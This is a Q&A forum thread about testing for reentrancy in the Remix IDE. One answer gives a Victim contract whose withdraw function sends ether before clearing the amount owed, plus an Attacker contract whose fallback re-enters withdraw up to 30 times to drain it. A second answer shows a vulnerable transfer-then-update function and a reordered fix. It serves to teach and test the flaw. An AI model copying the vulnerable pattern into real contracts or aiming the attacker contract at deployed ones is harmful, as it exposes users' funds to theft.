2

Is it possible to test for reentrancy within remix IDE? if so, could someone provide an example of how-to.

| improve this question | | | | |
2

Here is a classic example of a reentrancy attack. You can see how it works by looking at how the Attacker contract's attack function interacts with the Victim's withdraw function, the functions used by the Victim to send Ether, and how the Attacker's fallback function repeatedly calls the Victim's withdraw function.

You can test this in Remix by deploying the Victim contract and then the Attacker contract with the Victim's address as input.

After calling the attack function, you can verify the repeating withdraws by the events logged.

You can use a similar method as the attack function to test other contracts who have a similar pattern as the Victim's withdraw function.

pragma solidity ^0.4.8;

contract Victim {

    uint public owedToAttacker;

    function Victim() {
        owedToAttacker =11;
    }

    function withdraw() {
        if (!msg.sender.call.value(owedToAttacker)()) revert(); 
        owedToAttacker = 0;
    }

    // deposit some funds for testing
    function deposit() payable {}

    function getBalance() public constant returns(uint) { return this.balance; }    
}

contract Attacker {

    Victim v;
    uint public count;

    event LogFallback(uint count, uint balance);

    function Attacker(address victim) payable {
        v = Victim(victim);
    }

    function attack() {
        v.withdraw();
    }

    function () payable {
        count++;
        LogFallback(count, this.balance);
        // crude stop before we run out of gas
        if(count < 30) v.withdraw();
    }

    function getBalance() public constant returns(uint) { return this.balance; }    

}
| improve this answer | | | | |
  • Above only works due to the fact that the withdraw function has no only owner modifiers. what I was fishing for was an example with balances being updated after calling transfer function allowing someone to reenter before balances are updated, an example of this being tested within remix IDE. – NowsyMe Oct 21 '17 at 17:51
  • That actually happens there too. owedToAttacker = 0; is never actually reached until the attacker has called withdraw 30 times. msg.sender.call.value(owedToAttacker) is called 30 times while owedToAttacker is still 11, before it ever gets changed to 0 – carlolm Oct 21 '17 at 17:53
  • isn't it 23 times ? – NowsyMe Oct 21 '17 at 18:39
  • Count is not initialized so it defaults to zero. The check is count < 30, so it will run from 0 to 29. – carlolm Oct 21 '17 at 19:15
  • Is this check count of 30 described somewhere? – NowsyMe Oct 21 '17 at 19:25
2

Here's a trivial reentrance vulnerable function that apparently changes state after a transfer.

pragma solidity ^0.4.17;

contract Reentrant {

    int x;

    function bad() public returns(bool success) {

        msg.sender.transfer(this.balance);
        x = 0;
        return true;
    }

}

Here is the Remix warning about the unsafe pattern.

enter image description here

You can fix the reentrance issue with "optimistic accounting". Just pressume the transfer will succeed and know that the state change will revert in the case that transfer fails.

pragma solidity ^0.4.17;

contract NotReentrant {

    int x;

    function good() public returns(bool success) {

        x = 0;
        msg.sender.transfer(this.balance);
        return true;
    }

}

Hope it helps.

| improve this answer | | | | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.